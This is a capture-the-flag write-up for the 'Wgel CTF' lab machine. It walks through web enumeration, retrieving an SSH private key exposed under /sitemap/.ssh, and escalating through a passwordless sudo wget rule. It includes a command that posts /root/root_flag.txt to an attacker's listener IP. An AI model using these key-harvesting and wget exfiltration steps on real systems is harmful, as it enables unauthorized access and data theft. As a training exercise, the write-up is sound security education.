Wgel CTF: From a Web-Exposed SSH Key to Root File Access
Machine: wgelctf
Introduction
Wegl CTF stood out to me not because it used a rare vulnerability, but because it turned a small web mistake into real SSH access and then into root-level file access without ever needing a proper root shell.
That is what made it worth documenting. The box rewarded careful enumeration much more than flashy exploitation, and the final escalation only worked once I stopped treating sudo wget as a shell problem and started treating it as a root capability I could already use. It was a good example of how ordinary mistakes compound when the boundaries between web content, user material, and privileged binaries are handled badly.
Initial Enumeration
I started with a standard scan to see how much surface the machine actually exposed.
nmap -sC -sV -T4 -Pn MACHINE_IP
22/tcp open ssh OpenSSH 7.2p2 Ubuntu
80/tcp open http Apache httpd 2.4.18
There was not much there. SSH and Apache on their own do not tell you much, and the web root only showed the default Apache page. At that stage there was no obvious entry point, so the job was really to work out whether the web server had anything beyond the default content.
A quick directory scan gave me the first lead.
gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirb/common.txt
/sitemap (Status: 301)
That was enough to shift focus. The root page looked dead, but /sitemap/ suggested there was another content tree behind it, so I treated that as the real application surface instead of spending more time on /.
Working Through the Sitemap
The /sitemap/ area contained a set of static pages and assets. I crawled and downloaded that content to inspect it locally, mostly to answer a simple question: was this just filler content, or was it going to leak something useful?
The answer was somewhere in the middle. The pages were enough to show that /sitemap/ was worth treating as its own web root, but they did not immediately hand me credentials or code execution. I pulled out a few names and an email address from the content, but nothing there translated directly into access.
That made the next step fairly straightforward: if the page content itself was not enough, I needed to enumerate the subtree more aggressively.
gobuster dir -u http://MACHINE_IP/sitemap/ \
-w /usr/share/wordlists/dirb/common.txt \
-x txt,php,bak
This time the result was far more useful:
/.ssh (Status: 301)
At that point, the box stopped looking like a simple static site problem. A web-accessible .ssh directory is not something you ignore.
Recovering the Private Key
Once I saw .ssh, I checked the usual filenames directly.
curl -s http://MACHINE_IP/sitemap/.ssh/id_rsa > id_rsa
chmod 600 id_rsa
The response was a valid private key:
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----
I also checked a couple of related files to see whether the exposure was broader than a single key.
curl -s http://MACHINE_IP/sitemap/.ssh/id_rsa.pub
curl -s http://MACHINE_IP/sitemap/.ssh/authorized_keys
Those checks did not add much, but by then the situation was clear enough: the machine was exposing SSH material through the web server. That gave me a realistic foothold path, but it still left one practical problem unresolved. I had a key, not a user.
Mapping the Key to a Valid User
This was one of the few places where the box had a little friction. The key exposure was real, but it was not immediately usable until I could map it to an account on the host.
I tried a few usernames based on the site content and the email information I had already collected, but those attempts did not work. That dead end was useful in its own way because it forced me back into the page content instead of guessing blindly.
The username that finally mattered was jessie, which I identified in the site content/source. Once I had that, the key worked as expected.
ssh -i id_rsa jessie@MACHINE_IP
Welcome to Ubuntu 16.04.6 LTS
jessie@CorpOne:~$
That was the real foothold: not web shell access, but a legitimate SSH session backed by material the web server should never have exposed.
User Access and Local Enumeration
After logging in as jessie, I kept the local checks simple. First I confirmed where I was, then I looked for the user flag, and after that I moved straight to privilege escalation enumeration.
find / -type f -name user_flag.txt 2>/dev/null
cat /home/jessie/Documents/user_flag.txt
With user access established, the next important check was:
sudo -l
User jessie may run the following commands on CorpOne:
(root) NOPASSWD: /usr/bin/wget
That was the key local finding. On paper, wget does not look like a classic privesc binary, but under sudo it is dangerous for a different reason: it can read and write files, and it can send data over the network. That combination matters more than whether it can hand over an interactive shell.
That changed how I looked at the escalation path.
Using wget as a Root Capability
My first instinct was to see whether I could turn wget into something closer to direct code execution. I tested one shell-oriented approach, but the installed version did not support the option I wanted to use, so that path went nowhere.
That was the point where I stopped trying to make the binary do something dramatic and started asking a simpler question: what can root-run wget already do that I cannot?
The answer was enough to finish the box. I did not need a root shell. I only needed root to read a root-owned file and send it somewhere I controlled.
So instead of forcing a shell, I used wget to post the contents of the root flag to my listener.
sudo /usr/bin/wget --post-file=/root/root_flag.txt http://LISTENER_IP:3344
Because the command was running as root, wget could read /root/root_flag.txt and send it out over HTTP. That gave me the final flag directly.
It was a simple escalation in the end, but a very practical one. The objective was root-only data access, and sudo wget already gave me exactly that.
What Made the Chain Work
What I liked about this machine was that the compromise chain felt realistic.
The first problem was a boundary failure: SSH material was sitting somewhere the web server could serve it. That is not a vulnerability in the exotic sense, but it is a serious operational mistake. Web content and user authentication material should never overlap like that.
The second problem was the sudo assignment. Giving a low-privileged user passwordless access to a network-capable binary like wget is risky precisely because it does not look as dangerous as bash or vim at first glance. But once that binary runs as root, it inherits root’s access to local files, and its network features make exfiltration trivial.
That is why the chain held together. The box did not need a memory corruption bug or a kernel exploit. It only needed weak separation, loose privilege assignment, and careful enough enumeration to notice both.
Conclusion
The path through Wegl CTF was:
- enumerate the limited external surface
- follow
/sitemap/instead of writing the site off as a default Apache page - discover an exposed
.sshdirectory - recover
id_rsaand map it tojessie - use
sudo wgetto exfiltrate/root/root_flag.txt
This was worth documenting not because it was especially hard, but because it showed how normal mistakes become meaningful when they line up. A web server exposed something it should not have, a user account had more sudo capability than it should have, and the winning path came from evaluating what those findings actually enabled instead of pushing for a more theatrical exploit.
More than anything, the box was a good reminder that strong enumeration and disciplined decision-making usually matter more than complexity.